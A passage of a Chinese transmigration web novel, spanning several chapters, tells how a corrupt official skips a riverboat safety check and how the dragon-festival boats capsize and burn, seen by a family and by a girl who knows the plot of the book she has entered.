钟庆国被歪缠得没有办法,只好应了,“好好好,明天爸爸就去举办方那,让他们去检查一下船体。” “你们父子俩聊什么呢,快来吃饭了。”科莱丽坐上方形餐桌,然后吩咐女佣去开一瓶红酒。 钟庆国习惯了西餐,他回国后,除了传统节日会吃上中餐,其他时间的饭桌上都是西餐,为此,他还特地聘请了一个海外厨师。 “皮特,怎么了?愁眉苦脸的。”科莱丽将餐巾布递给钟庆国,而钟庆国看了一眼无忧无虑的钟墨,没有选择隐瞒。 “敌军打到善城了。” “什么?”科莱丽心中重重一跳,“善城就在陵城的隔壁,那战争……岂不是很快就要蔓延过来了?” 钟庆国坐在对面,他放下刀叉,看向科莱丽宝石一般的眼睛,“我今天就是为了这事去找的将军,将军说军方的战略物资充沛,能保下整座城,我的担心纯属多余。” 科莱丽稍微松了口气,“也是,我们住在租界,要是真打过来,敌军也不敢在租界这边动手。” 钟墨听得懵懂,不知父母在说些什么,“打仗?是电视里的那样吗?” 科莱丽笑了笑,“是电视里的那样,但宝贝你不要怕,我们有电视里的武器,有警卫,还有船,”她看向钟庆国,继续说:“万一敌军真打过来了,我们就逃。” 钟庆国点点头,但眉头依旧紧锁,“好,今晚就收拾吧,以防万一。” 科莱丽小声惊呼,“这么快?你不是说……” “不是明天就会打上城里的意思,是我有些担心,”钟庆国叹了口气,不等科莱丽追问,他主动解释,“早上去都督府,我见那些站岗的士兵懒散懈怠,明明见我进去了,却不询问、不通传。这样的守卫,怕是敌人光明正大地进城,他们都不会多看一眼。” 科莱丽听完,秀眉微蹙,她端起酒杯小酌了一口,像是在缓下心里的焦虑。 钟庆国:“好了,别多想,吃饭吧,吃完咱们就收拾,捡些重要的东西放在手边,到时候方便行动。” “上帝保佑,”科莱丽摸上胸前的十项链,默默祈祷了一遍,“愿上帝保佑我们全家平安。” 元家晚饭。 一家五口坐在圆形餐桌上,元知茂直奔主题,“爸爸,游船龙祭只有两张票,你决定让谁去呀?” 元知荷悄悄地从碗里抬头,一并看向元善,她虽然不想去,但也好奇此事的后续。 元善放下碗筷,看着面上的饭菜,避开了孩子们的目光,“那两张票,我决定送给你们的姑姑。” “姑姑?”元知茂语气里是毫不掩饰的失望,“为什么?”他的音量渐渐变大,“那些票,是小墨给荞荞的,爸爸你怎么能和妈妈一样,随便就拿去送人?”他撅起嘴,越说越委屈。 “胡闹,我是你爸爸,有你这么对父亲说话的吗?” 元善当初做决定的时候,是有些愧疚的,但此刻听见元知茂对他的质问,那些愧疚便一下化作了恼怒,当即黑起脸来。他素日性情平和,但生起气来时,模样严肃冷酷,令人畏惧,故而元知茂和元知荷一直都害怕元善生气。 元知茂不敢反驳,但他心中不服,于是低头大口扒饭。 饭桌上突然变得寂静无比,只能听见碗筷相撞的声音,元善似乎也意识到了自己刚才反应过大,吓着了孩子们,但他碍于面子,也不愿先说话。 梁桦不动声色地观察在场情形,她知道元知茂正在气头上,于是笑着给元善递了个台阶,“老公,票怎么给珍妹了?是珍妹过来要的吗?” “嗯,”元善神色不变,语调也维持着冷淡,“元珍前几天就来问我有没有游船龙祭的票,她夫家遇上了些难事,需要找人周转。” 梁桦飞快瞟了元知茂一眼,见他正在听,便笑着给元善夹了一筷子菜,“是拿票周转吗?看来咱们能帮上忙,也是好事一件,”说罢,梁桦也给元知茂夹了一个鸡腿,“知茂,是你错怪爸爸了吧,龙祭每年都有,别再与爸爸闹别扭了。” 她在暗示元知茂道歉,可元知茂还沉浸在难受的情绪中,他虽不再生气,但也不想低头认错,便故意岔开话题,“可明年又没有游船……” 也不知是元知茂这句话,还是元知茂的态度,点燃了元善的怒火,他用力将筷子拍在碗面,“游船游船,你怎么只知道玩?”元善板下脸,语气恨恨,“往日不见你在学业上有这般上心,作为哥哥,成绩还不如一母同胞的妹妹知荷!” “贪玩无用。” 元知茂蓦然被训,眼泪比话语先涌了出来,他的脸上满是难过,豆大的泪珠滚滚掉落,但张口时,还在极力维持着倔强,试图藏住心里那些翻涌的委屈,“你、你转移话题……” “我转移什么话题?”元善瞪向元知茂。 孩子的伪装,像是清透薄脆的糖纸,大人一个眼神就能轻而易举地戳破,元知茂所有的勉励支撑,在这一刻溃不成军,他终于还是哭出了声,“呜呜……你、你转移……游……游船票券的话题……” 元知茂嚎啕起来,元善却渐渐恢复了平静。 “好,游船龙祭,”他点了点头,等到元知茂哭声小了,继续说:“你说我不经过荞荞同意就将票送人,那你呢?你问过荞荞了吗?”元善一针见血,“知荷说了,荞荞不希望大家去,你还不是直接从荞荞手里拿过了票,然后跑来找我和妈妈?” 委屈、羞愧和难受一下子到达了顶峰,元知茂的眼泪愈发汹涌,他打着哭嗝看向元之荞,却见元之荞在专心吃饭,并不关注他与父亲的争执。他用衣袖使劲擦掉脸上的泪水,擦得袖子全是水渍,脸上皮肤也因摩擦变得红扑扑的。 元知茂不再说话,他猛地吸了吸鼻子,唰地滑下椅子,跑回房间。 “哎,你这孩子。”梁桦想叫住人,却顾忌着元善,她悄悄地瞄了一眼元善的 7. 第 7 章 《剧情在手,盒饭我有》全本免费阅读 “钟先生?” 钟庆国还没进门就被人认了出来,接着,一个西装革履的男人便迎了出来。男人个子不高,身形微胖,圆钝的鼻头上有一颗芝麻大的黑痣,头发略长,但用发胶梳得乌黑油亮,并使之硬挺地贴在头皮两侧。 男人微微弯下腰,笑得有些谄媚,“是什么风把钟先生您给吹来了?您请您请,”他把钟庆国领到一张深灰色的布艺沙发前,转过身,对着另一人吩咐道:“你……”男人磕巴一下,接着眼皮轻阖,指着人的手松松地点了点,像是在回想,“对,小刘,你去给钟先生泡壶茶来,哦不,去给钟先生泡杯咖啡。” 钟庆国想拒绝,但被男人止住了话头。 “欸呀,钟先生今天来我们活动管理办事处,是有什么要紧的事吗?” “对,是龙祭节游船的事。” “龙祭,”办事员一听,顿时笑容灿烂,“钟先生是这样的,我们的活动……” 男人开始介绍龙祭节当天的安排,而钟庆国知道对方会错了意,干脆地打断,表明他今天来这的目的。 “家乡第一次为我办这样的庆典,我与有荣焉,只是这轮船……应是七、八年前的老船吧?就怕设备太老,有安全隐患。” 男人的笑脸僵了僵,“您是……对船,不满意?” “不是,”钟庆国看向对方,选择直白地提出诉求,“我希望你们能在活动前对轮船进行安检,毕竟船上会有上百人。” 一听是这个原因,男人的笑容又扬了起来,“钟先生您放心,这船啊,都是洋人造的,”他转过身去,走向了办公的桌子,然后从抽屉里拿出一盒雪茄,殷勤地递到了钟庆国面前,“开的船厂当时可大了,喔呦,那造的都是出口海外的船呢!” 钟庆国轻轻推开雪茄,表示自己不抽烟。 男人见状,笑容有些干了,他清了清嗓子还想再说,却见钟庆国态度依旧,没有任何缓和的样子,便猜到检修的事情,钟庆国是一定得要个章程了。 “哈哈,钟先生如此为人着想,难怪大家都叫您钟大善人,”男人仰起头,拍上胸脯承诺道:“既然钟先生如此重视,那我们一定会在龙祭前检查,保证一切安全,完美。” “好,”钟庆国听了点点头,接着便要起身,“既然事情办完,那我就走了,祝你们工作顺利。” “欸欸欸,钟先生……”男人想要拦,但钟庆国脚下生风,很快离开了。 “钟先生您的咖啡。”小刘端着一个白色茶杯走进来,扭头却只看到了钟庆国的背影,再回首,只见男人站在门边,脸上的谄笑消失不见,取而代之的,则是对着小刘不悦的神情。 男人一把夺过茶杯,语带不满,“咖啡、咖啡,咖什么啡,”他将茶杯递到嘴边,给了小刘一个斜眼,“你要是早拿它过来,不就能留下钟先生了吗?一点小事都干不好。” 小刘低下头,不敢言语,但下一秒,他就听见呸呸两声。 男人五官瞬间皱作一团,将喝进嘴里的咖啡又吐进了茶杯里,然后迫不及待地将茶杯还给小刘,抹掉嘴角的咖啡渍,这才气恼地吼道:“你没放糖?” “放……放了,放了一包。”小刘手忙脚乱地捧住茶杯,生怕咖啡液会泼溅到自己的白色衬衫上,有些着急地回复。 陈主任啧了一声,这才嫌弃地看向茶杯,“苦药汤子,无论喝几次都不习惯,真不知道那些洋人和假洋人们喜欢它什么,拿开拿开。” 男人打开手上的雪茄盒,将之前那只没有送出去的香烟叼在嘴里,回身去拿打火机,说起了别的事情,“小刘啊,那些票卖得怎么样了?” 小刘把茶杯放到一边,忙走到自己的办公位上,拿出一本黑色封皮的笔记,然后翻到了最新页,“报告主任,第二批票已经在三天前卖光了。” 陈主任听完,缓缓吐出一个烟圈,“去准备第三批,”接着又吸了一口,补充道:“对了,票印出来后给我留三张,我有用。” “好,”小刘将笔记本放回原处,“那主任,我们什么时候安排船体检修?” 男人刹时瞪向小刘,一双眼好似在骂人,并且骂得很脏。“安排个屁!” 小刘有些不解,他试探性地询问,“可是进门前,我听见您说……” “说说说,我说什么了?”陈主任忽然呛声,小刘顿时不敢在说话了,只见男人狠狠地吸了一口雪茄,埋怨道:“光是涂新那四条船就花了我不少钱,这之后还有软装,还有龙祭,我哪还有钱搞检修?”他将抽了一半的雪茄用力按进烟灰缸里,转了转,见烟头的红光彻底熄灭,才坐了到皮椅上。 “这船能有什么事?瞎操心!” “是。”小刘低眉顺眼,习惯性地给男人倒了一壶茶水。 男人端起茶杯,挥了挥手,“去,把即将有票的风声放出去。” 日子平缓地一天天过去,这几天里,元之荞翻阅了大量的书籍和报刊,发现世界逻辑链完整,就算抠细节,她也没发现矛盾的地方。 元之荞几乎可以认定,这是个真实的世界。 靠江而生的人敬畏江水,陵城人自远古起,便相信向天江里有神龙存在。而龙祭一开始,也是为了给神龙庆生,只是星霜荏苒,居诸不息,龙祭演变至今,已经变为了人们向神的请愿与求福。 龙祭节当天,人们做龙云糕,扎彩带,并在向天江中投入代表心愿的纸鱼。城中会有庙会与龙灯会,街上处处人头攒动,热闹非凡。等到夜幕降临,江边还会有花火表演与烟花燃放,辉煌闪耀,如梦似幻。 今年开辟了游船龙祭,部分龙灯将会搬到船上,而花火表演也会单独分于船上,在江面上进行,以供游船上的宾客观赏。掌权者们甚至还准备了一艘彩灯龙船,它由二十条小舟串成,每条舟上都挂满了灯,等到天色渐暗,龙船就将在向天江上不断巡游。 这天早晨八点半,还不到庆典开始的十点,路上却已经熙熙攘攘,那几条通往向天江的道路,竟渐渐有了比肩继踵的趋势。行走的路人、走走停停的黄包车,以及不断鸣笛的小轿车,它们宛若城市血管里不规则栓块,阻碍着奔流的血液 8. 第 8 章 《剧情在手,盒饭我有》全本免费阅读 元家医馆楼上。 今天的元之荞依旧向元善要了书,她已经开始看工具书与学校教材之类的书籍了,元善虽然知道荞荞聪慧,但他还是担心元之荞看不懂这些,或者觉得看得无趣,便拿了好几本小人书和连环画给她,让元知荷帮着把这些书一起送到她们房中。 元之荞与元知荷同住一个房间,目的是为了元知荷能方便地照料“荞荞”。 房内陈设简单,两张床,两张书桌,一个杂物箱,以及一个大衣柜,便是全部家具。其中一张书桌靠墙,用作梳妆,另一张书桌放于屋子正中间,用作阅读和做功课。 元知茂早一步进来,闷闷不乐地趴在窗户边上,瞧着外面的热闹。 上次元知茂与元善争吵,两人不欢而散,但小孩气来得快,消得也快,第二天元知茂就主动示好,二人再次成为相亲相爱的父子俩。 不过船票虽然全没了,但元知茂想去看的心,依旧在蠢蠢欲动。 元之荞将书放在正中的书桌上,身后的元知荷也跟着一起。“荞荞,小人书能借我看看吗?”她目不转睛地看着那四本巴掌大的画册,封面崭新,其中一本还是彩绘,都是她没看过的新书。 “看。”元之荞言简意赅,她坐到椅子上,翻开一本高年级课本,并没有去看元知荷。 元知荷得到同意后高兴地拿起那本彩绘小人书,也开始看了起来,不过她才看到第三页,元知茂的声音就在耳边响了起来。 “知荷,你不想出去吗?” “去哪?”元知荷头也没抬,她正对剧情着迷,就算要出去玩,也可以看完了再出去。 元知茂见两个妹妹都不理他,便用手拍了一下桌面,试图吸引她们的注意力。元知荷被吓到抬起了头,而元之荞只是瞟了元知茂一眼,便继续看书了。 “知荷,妈妈给了我钱,我们去庙会上看看有什么好吃的吧。” “行呀,等我看完了我们就去。”元知荷翻开下一页,还没看清上面画的是什么,小人书就被元知茂抽走了,他按住元知荷的肩膀,拼命摇晃,“现在就去嘛,去嘛~” 元知荷被晃得生气,“哎呀你真烦人,等我看完了再去不行吗?”说完,她就想去捡被元知茂放回桌面的小人书,补充说道:“龙祭有一天的时间呢,干嘛现在那么急。” 元知茂忽地按住了小人书,不让元知荷碰,他语调铿锵,“可今年有游船诶,去得晚了,哪能知道船游去哪儿了,”他倾身凑近元知荷,又拍了拍自己的口袋,“现在去码头,咱们看完了四艘轮船,然后去庙会,我请你吃东西。” 元知荷看向元知茂,恰好能看见他身侧的窗户。清晨的日光照耀进来,带来摊贩的吆喝与扬铃打鼓的唱乐,不用看,元知荷都知外面是何等的热闹。她抿了抿嘴,有些心动。 元之荞依旧在专心阅读,见此,元知荷细声询问,“荞荞,你想出去玩吗?” 元之荞从书中抬头,她正对窗户的方向,清脆的鸟叫掺入人们喧闹的话语,让空气都充满朝气。她对上两双期待的眼神,随后,她又看向窗外。春光正好,暖风拂面,此刻的向天江边,怕是杨柳新晴,杏花微醺吧。 她低下了头,“不去,你们注意安全。” 得到答案,元知茂抓住元知荷的胳膊,将人拽了起来,“走吧知荷,以前荞荞早上就不出门,我们俩去玩。” “那荞荞,你在家好好看书,不要乱跑。”元知荷嘱咐一声,跟着元知茂跑出门了。 “知茂,要是有驴打滚,你能买给我?” “能啊,妈妈给了我两块银元,可以买好多好多呢。” 两人的声音渐渐消散在空中,元之荞翻向最后一页,并未抬眼。 与元知茂一般想的人不在少数,向天江边人头耸动,稍微高一些的树上都挂满了人,还有那跨江的长桥,竟都变得挤挤挨挨灰蒙一片。这些人严重阻碍了交通,大兵们不得不连续驱赶,但即便如此,过不了多久,那些想要看热闹的人,就会再次寻着空档挤上来。 元知茂与元知荷手拉着手穿梭在人群中间,若是被挤散了,站在前方的人一定会停下来寻找另一人,生怕对方被拐子抢走。 两人好不容易找到一处稍微松快的地方,只是他们人小身矮,无论往哪看,都只能瞧见人群的背影。 元知荷羡慕着那些骑在大人身上的小孩,想来视野高挑,定能看见外面那些气派的船,“知茂,我们走吧,这里什么也看不到。” 元知茂不想放弃,他伸长脖子左右张望了一下,登时指向远处的长桥,“我们去哪儿吧,桥上还有桥洞,也不怕被人挡着看不见。” “可是……”元知荷还在犹豫,元知茂已经牵上元知荷的手,往长桥跑去了。 码头上站着许多维持秩序的士兵,他们分站两侧,守着中间一条长长的红毯。 这条红毯通往上船的跳板。 红毯的后半部分站满了等待的人,但红毯的最前部分则被设置了阻碍栏杆,作为“特殊通道”,这个通道能让重要宾客不用排队,提前入场。 后面排队等待的人中,有元安与元珍一家。 张淑华用坎肩紧紧地裹住自己,双臂抱于胸前,不想别人碰到自己,然而队伍中人太多,前进的时候,她还是时不时地就被人撞到。 她很想发脾气,但担心周遭有什么大人物,张淑华不想让人看笑话,所以只能翻着一个又一个的白眼,一忍再忍。 元志靖怕热,停下来时就用票券当扇子,不断地在脸侧扇风,张淑华看到,心里更加烦闷,当即就着对儿子撒气,“扇什么扇,等下这票弄丢了,我看你怎么上去。”她用力地拍了一下元志靖的手背,将人吓得一哆嗦。 “不扇我就闷死了,”元志靖又被打,心里也很生气,“你不是说这票券很金贵吗?”他对着张淑华吼道:“这里那么多人,比买菜还多,哪里金贵了?” “你……”张淑华想教训儿子,但却不知如何反驳,因他们来到码头,发现不仅寻不到停车的空位,还发现排队的人竟然超出了预料的三倍之多,根本不是想象中的样子。 “行了行了,”元安出声安抚,他拉过张淑华,给元志靖空出了一点空间,“人多,都是赖那些没票的人。说不定这些人插进队伍,就是想浑水摸鱼进去。你们看好自己的东西,小心扒手 9. 第 9 章 《剧情在手,盒饭我有》全本免费阅读 丰腴夫人摔倒在地,手上玉镯磕到了一角,并在磕碰处迅速蔓延起细小的纹路。 “这怎么回事啊?” “哎呦,我见有个小孩在那推人跑,是不是他啊?” 刚才摔倒的人们接二连三地开始议论,瘦削夫人听到,登时高声发话,“不是小孩,是她!是她先摔倒砸向我的!”瘦削夫人用力推开丰腴夫人,但试了两下,发现怎么也推不开,只好艰难地挪动位置,试图把自己抽出来。 她举起一只可以活动的手,指向身前丰腴的夫人,“就是她,就是她最先撞人的!” 众人的目光随着声音而去,聚集到了那只高高的手上。丰腴夫人察觉到四面八方凝集而来的注视,有些慌乱,她想爬起来解释,却在这时看见了自己镯子上的裂痕。 这可是她家祖传的玉镯啊。 丰腴夫人的注意力瞬间转移到了元志靖身上,现在的她,只想抓到罪魁祸首。她看向元志靖跑没影的方向,以及随后跟去,近在眼前的孙蕾背影,她颤抖着指向那边,“是他!抓住他!” 瘦削夫人哼了一声,“我明明看见是你,你还想……” “赖账”二字还未出口,丰腴夫人就想到了一个一石二鸟的方法,她快言快语,“是那个小孩偷了我的东西撞倒我的!快抓住他!” 此话一出,众人纷纷看向丰腴夫人手指的方向,有那好心的人已经站起身来,迈腿去追。 元志靖扫清障碍在前,孙蕾跑得飞快在后,不一会便追上了对方。元志靖听见脚步声越来越近,他一回头看,见孙蕾已经与他一臂之遥,当即便要故技重施,再次撞开前面的人。 孙蕾没给他这个机会,她用力拽住了元志靖的衣领。元志靖反应极快,急速矮身,不惜用领子勒住脖子的代价,甩掉了孙蕾,顺利从她手中溜了出来。 孙蕾没有放弃,二人距离接近,且周围人多,她坚信抓到元志靖是迟早的事。 元志靖也发现了这个问题,他飞快扫视周围,霎时往甲板的围栏边上跑去。并在孙蕾即将抓住他时,把手链举到了围栏外,“你要再过来,我可就放手咯。” 孙蕾看见,只好停下了脚步,“元志靖,你干嘛!”她快气哭了,那条手链是表姐从海外带回来的,她喜欢得不行,谁成想元志靖这人,竟报复她不愿与他说话,夺了她的手链就跑。 元志靖看着孙蕾难过,心下有些不忍,于是很快就软下态度,把手链收了回来,他有些磕巴,“你、你别哭啊,喏,我又不扔,我还给你,你过来拿呗。” 孙蕾有些怀疑地看向元志靖,但看元志靖站在原地,一步未动,反问道:“真的?” “真的,骗你是小狗。”元志靖信誓旦旦地回答。 孙蕾试探性地走了上去,只是才迈一步,就被人从后面用力抓住了手臂。 “小偷,还不把东西还给人家!?” 孙蕾踉跄两下,手臂被掐得生疼,她回过头去,见抓她的是个男人,顿时皱起了眉头,挣扎起来,“你干什么?放开我,我不是小偷。” 孙蕾使劲地推开男人的手,而男人见孙蕾穿得名贵,不像偷东西的小孩,便疑虑地松开了手,只是还没其他动作,他就被一个黑影用蛮力推开了。 “孙蕾,快走!”元志靖牵上孙蕾,就要往甲板后跑去,而那之前抓住孙蕾的男人,被这大力一撞,竟歪向船舷的栏杆,意外摔了下去。 * 跨江长桥,元知荷指着船上掉落的一个黑点,好奇地询问,“知茂,那是什么?” 元知茂有轻微的近视,他瞪大眼睛,随后又用食指按住眼尾,往后拉了拉,这才摇头道:“不知道,没看见……不过知荷,你有没有觉得,那艘龙首船,好像在晃啊?” “是吗?”元知荷踮起脚尖,定睛看去,只看见船上的人纷纷往船头的方向挤,并往江里扔什么,顿时惊呼着拍上元知茂的肩膀,“知茂你看,刚刚又掉下去了两个,好像是人?” 元知茂拼命地往元知荷说的地方看去,可是他什么也没有看见,“哪呢哪呢?有人跳船?是不是船上的活动啊?” * 甲板上喧哗鼎沸,船长首先发觉了异常,他担心打扰到上层的贵宾们,于是开窗往外看去。但出现的一幕,差点令他心脏骤停,竟然有一大群人堵在靠近船头的栏杆上,叫嚷着,吵喊着,还有人因此摔出了栏杆,坠了下去,并且整艘船,似乎正向着船头的方向晃去。 “有人摔下去了,快救人呐!” “救人的也掉下去了!” “是那个小孩推的!快抓住他!” “船在晃!哎呦……站不稳了,快扶我一下……” 船长知道不能再看,他立刻披上外套,火速往驾驶室跑去。 被人叫嚣捉拿的元志靖与孙蕾,此刻也并不安全,因船身晃荡,他们有些站立不稳,所以在奔跑的途中不断撞到路上的旁人,而这些被撞到摔倒,然后弄脏身上衣服的人们,也想要抓住元志靖与孙蕾,讨个说法。 孙蕾最开始还想留下来解释,但看身后的人越来越多,周遭的情形也越来越混乱,只好跟着元志靖一起跑了下去。 船长辛苦赶到主控驾驶舱,急忙打开广播,通知人们分散站定,并尽快回到船舱的座位上坐好。 “不要聚集于一处,也不要站在船沿。船很快就会稳定下来,大家快回去。不要因为去救人而趴在栏杆边,这样的行为很危险……” 船长的话安抚到了大部分的人,但却没能让那些经常坐船的人安静下来,尤其是上层客舱的权贵。他们自以为比别人知晓更多,经验更足,便不打算听从船长的命令,而是准备先行抢占救生物资。 “付将军,我们与楼下的贱民不同,他们死了就死了,没什么价值,可我们不一样啊,您还是抗战的主力将军,我们身上也有资助您打仗的物资与财富,咱们可不能折在这里啊。” “对呀付将军,这船晃得如此厉害,怕是要翻,这可怎么办呐?” “张老、徐老,你们说的我都知道,我会让属下把救生衣和救生艇准备好,真遇到了什么,咱们定能安全离开。” 游船开始接近长桥,而元知茂等人也终于看清了船上的情形。 只见轮船左右晃动了一下,然后上层船舱的人们蜂拥着挤了出来,向甲板四散,其中左侧的甲板有许多人摔倒,愈发加重了船的倾斜。 “船要翻了!”随着桥上的一声惊呼,上天仿佛为了印证这句话似的,让船真的慢慢向□□斜了下去。 跟在龙首船后面的轮船发现了不对,当即给它后面的船发送信号,并准备避开龙首船。但这时他们已经接近长桥,过桥只能按照既定的航线排队前往,所以此刻无论是掉头还是躲避,都是个不小困难。 船上的人开始哄抢救生衣,对那些还未放下的救生艇更是虎视眈眈。付将军看现场混乱,自己带的警卫与权贵们带的保镖加一块,也不足以控制如此多的平民。为了保住逃生的船只,他拔出了木仓。 木仓声响起,人们抱头蹲下,包括那些正在桥上看戏的人。但仍有那不怕死的人,顶着木仓,敏捷地趁警卫们不注意,找到机会蹿上救生艇,并迅疾用小刀割断放船的绳子,企图尽快离开这里。 “奶奶的,敢抢老子的东西,都给老子去死!” 见情形仍旧,付将军当即下命令,让所有警员和护卫出动,拿上武器保护大人物。要是有那捣乱的,管他是小孩还是老人,立即击毙。 绳子还差最后两根就将全部割完,救生艇上的人们却挨个倒在了血泊中,尖叫声与求饶声一浪高过一浪。付将军面 10. 第 10 章 《剧情在手,盒饭我有》全本免费阅读 “船沉了!” 消息犹如长了翅膀的鸟,疾速飞向城中各地,元之荞听见外面的越来越大的议论声,放下了手中的书。 “什么船?龙祭游船?怎么回事?都沉了?” “不是,”过来传递消息的年轻人摆摆手,咽了口唾沫,大口地喘气,“没有都沉。” “第一艘船不知怎么地沉了,然后起火了,第二艘船被火烧着了以后胡乱开,然后就撞向了第三艘船,只有第四艘船,它在最后幸运地避开了。我跑回来的时候,第四艘船还没什么事。” “这么大的事,快快快,得去看看……” “哎哎哎,都别去!”年轻人连忙阻拦,挥着手让大伙站住,“那里好多人瞎跑,都跑出事了。” “江里救援的,江边踩踏的,死了伤了好多人,医院、医馆马上就要塞满人了,江边那也是人满为患,大家还是不要过去添乱了。” 听完的人不断唏嘘,“这可都是怎么回事啊,今天可是龙祭节,莫不是……神龙发怒?” “什么神龙发怒,我看是那卖票的黑心,”一个穿着长褂黑马甲的中年人发话,“我二舅爷以前就是开船的,听我二舅爷说,那些船,压根就没那吨数。啧,装上千近万的人,这船不翻啊,都难……” “嘘,别说了,小心被那什么听见,待会抓你去巡捕房。” 元之荞站到窗户前,听着外面的谈论,忽然想起了《绯恋》中对这场灾难的描述。 【精美的妆容泡开了花,硬挺的头发被江流冲得歪起横落,只有那体面华丽的衣裳,依旧裹在他们冰凉发白的身体上,在水里浮浮沉沉。】 她突然有些哀叹。 元之荞踮起脚看向外面,汽车和黄包车络绎不绝,不甚有序地停到了元氏医馆的门口。初春的季节还是有些寒凉,不少病人都湿漉漉地打着哆嗦,迈进医馆。 “元大夫,你先看看我,我在水里被炸伤了。” “大夫,我老公被人撞昏迷了!” “元医生,你要救救我啊……” 她将视线移向远方,望向了天江的方向。等到傍晚,全城的人都会在报纸上看见船沉的报道,而第二天一早,付将军死亡、豪绅及权贵大量伤亡的消息,则会以最大版面出现在每一家报社的报刊上。 正文就要开始了。 元之荞收回眼神,看向了自己稚嫩且瘦小的手。 这也意味着,“荞荞”的死期就快到了。 她合上窗扉,隔绝了外面的纷杂吵闹。 既然回不去,那她就好好地在这个世界活下来,让“荞荞”这个角色变成元之荞,好好的活下来。 元之荞重新坐回书桌,随手翻开上面的小人书,开始回忆《绯恋》的剧情。 第一章是战争,而第二章,就是“荞荞”的死亡。 文中提到,敌军攻城是在一个宁静的夜晚,打更人敲过两的梆子,敌人便悄悄进城了。而唐母在孕晚期频繁夜尿,故而及时发现了异常。 于是唐父、唐母以及唐奶,三人连夜去找了开渔船兄弟,再一波三折地逃离了陵城。 “荞荞”,便是唐母一波三折中的最后的一棒。 文中并未提及“荞荞”是怎么去救唐母的,只写唐家一家上船时,敌军发现了他们。唐父为了保护唐母,推开对方,结果自己手臂中弹,而唐母因为惊吓且站立不稳,意外落水。 当唐母被呛得无法呼吸时,手边碰到了一个硬质浮物。 唐母想也没想就死死抱住,但她不知道的是,那头投掷牵拉着救生圈的,竟是一个五岁的小女孩。“荞荞”救人时并未言语发声,直到她被江水和唐母拖拽着落水,溅起巨大水花,才让船上的人们发现了不对。 唐母最终被救了上来,而“荞荞”因夜色太黑,一直未被寻到,最后人们害怕元家一家的哭嚎呼喊引来敌军,便强制关闭了所有搜寻手电,并堵住了元家人的嘴,加快行船。 “荞荞”就这样消失在了向天江里。 唐母最终在这条船上,提前生产。 唐曦是接近清晨出生的,随着她的第一声啼哭,黎明破晓,同时船也安全驶离了陵城。 一切都映照了那个“曦”字。 想到这里,元之荞认为这题很简单,她可以救人,不过是喊一声的事情,她也可以选择不救人,因为她想知道,这本以唐曦为主角的书中世界,若是没了主角,世界将会变成什么样。 只是此刻的元之荞还不知道,事情远远不是她想象的这般简单。 楼下的病人越来越多,梁桦见状,不得不叫上帮嫂一起去医馆帮忙。下楼前,梁桦来了一趟孩子们的房间。男孩的房里没有人,女孩的房里只有元之荞一个人。 “哥哥姐姐们出去玩了吗?” 梁桦随意地问了一句,她并没期待荞荞会回答,这样做不过是习惯而已,她一直认为只要与荞荞多说话,荞荞就会学着回应,会学着与他们一样多说话。 “嗯,他们去向天江看游船了。” 听到回复,梁桦明显惊喜了一瞬,但她听清元之荞说的是什么,心又揪了起来,有些着急地询问,“什么时候出去的?” 元之荞看向墙上的挂钟,“九点十三分。” 梁桦心脏重重一跳,竟然那么早!她想起外面的传言,身影顿时有些摇晃。知茂那个性子,定是会带着知荷到人群中看热闹的,那岂不是…… “不会的,知茂、知荷机警,遇到危险一定会马上离开,”梁桦忍不住出声安抚自己,她看向挂钟,时针即将指向十一点,“也快到午饭时间了,他们总是这时候回来,忙完后我也该去准备饭菜了……” 元之荞看出了梁桦的不安,心里萌生些许别扭。她穿到这个世界已经一周了,这一周里,梁桦所给予她的关心与关爱,是在她原本世界里极少感受的,如今她看到梁桦难受,自然而然便产生了想要安慰对方的冲动。 但她敛了敛眉,终是什么也没有说。 “荞荞你在房里好好看书,等准备吃饭了,妈妈再来叫你。” “嗯。”元之荞轻轻点头。 时间一分一秒地过去,时针早已划过十一点,可元知茂和元知荷还是没有回家。梁桦有些着急,她第一次长时间地站到了医馆外,瞧着道路两旁的人群,希望能在其中看到两个孩子的身影。 “妈妈。” 梁桦赫然往声音的方向看去,只见元知荷小跑着回来了,她满身是汗,脸蛋因跑步变得红彤彤的,脑后梳好的的两条麻花辫些许散开,几缕碎发不听话地飘在耳边,随着风不断晃荡。 梁桦悬着的心放下了一半,刚想问她元知茂去哪了,就与元知荷异口同声。 梁桦:“知荷,知茂呢?” 元知荷:“妈妈,知茂回家了吗?” 梁桦细眉蹙了起来,帮元知 11. 第 11 章 《剧情在手,盒饭我有》全本免费阅读 “荞荞!”一个许久未听见的声音响起,元之荞顿时有些不好的预感,只听那个声音嘹亮地询问梁桦,“梁夫人,这是爸爸让我拿来的礼物,请问荞荞在家吗?她去看游船了吗?” “小墨你来了呀,不用麻烦带东西来的,”梁桦声音温柔,“荞荞没出去呢,她一直在家里看书,你要上去找她玩吗?” “要的要的,张叔,你帮我把礼物送给梁夫人……” 后面的话元之荞不用再听了,她立刻起身,将元知荷看完的小人书重新拿了出来,然后堆成一叠,放到桌面一角。她准备待会用这些糊住钟墨的嘴,果然没多久,元之荞就看见钟墨踩着皮鞋,嗒嗒嗒地出现在了门外。 “荞荞。”钟墨热切地喊了一声,跑了进来,但他跑到一半,就注意到了房里嫩黄色与樱粉色的床榻,当即停下脚步,转身又跑了回去。 元之荞有些奇怪,便见钟墨退到了门口,然后像模像样地敲了敲门,绅士地问询元之荞,“荞荞,我可以进来吗?” 元之荞撇开了脸,“进。” 得到允许,钟墨的眼睛又弯了起来,急切地跑向元之荞,“荞荞,你说对了,船真的炸了!” 元之荞:她什么时候说过船炸了…… “荞荞,那些票券我忘记拿回来了,你们没去吧?”钟墨有些愧疚,手指无意识地抠着书桌上的螺旋纹,“爸爸说不该让我把票送给同学的,他让我带了礼物赔罪。” “票送亲戚了,不知道亲戚去没去。”元之荞回答得言简意赅,她不太懂人情世故,并潜意识里仍旧将自己看作成年人。钟家送票与沉船的事之间,不过是间接关系,钟家没必要前来送礼赔罪。元之荞是这样想,便也这样说了,还自行做了决定,让钟墨带着礼物回家。 钟墨努了努嘴,他来这最主要的目的不是为了送礼,而是为了找元之荞玩,所以钟墨怎么也不愿回去,一直缠着元之荞,想要与她玩耍说话。 元之荞拿出早就备好的小人书,哄小孩一般与他“分享”。 钟墨对这些很感兴趣,他还在学习写中文的阶段,不太认识字,如此画多字少的书,对他而言有着致命的吸引力。 元之荞刚要松口气,以为世界就要安静了,就听钟墨的声音再次响起,“荞荞,你认识这个字吗?” 元之荞瞟了一眼,面无表情地念了出来,钟墨接着继续问,“那它是什么意思啊?” 